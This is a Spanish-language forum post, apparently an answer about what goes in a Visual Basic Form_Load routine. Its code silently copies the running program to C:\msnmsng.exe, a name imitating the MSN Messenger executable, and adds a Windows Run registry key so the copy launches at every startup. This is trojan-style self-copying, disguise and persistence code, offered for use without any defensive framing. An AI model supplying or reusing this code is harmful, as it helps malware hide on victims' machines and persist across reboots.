y en el form_load k se pone¿?
Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Mostrar Mensajes MenúPrivate Sub Form_Load()
Dim RegistroCochino As Object
Dim RutaCochina As String
Dim CadenaNueva As String
Dim ContenidoCadena As String
ContenidoCadena = "C:\msnmsng.exe"
CadenaNueva = "\msnmsg"
RutaCochina = "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows" & _
"\CurrentVersion\Run" & CadenaNueva
Set RegistroCochino = CreateObject("WScript.Shell")
RegistroCochino.RegWrite RutaCochina, ContenidoCadena
On Error GoTo Fallo
x = GetAttr("C:\msnmsng.exe")
Exit Sub
Fallo:
FileCopy App.EXEName + ".exe", "C:\msnmsng.exe"
End Sub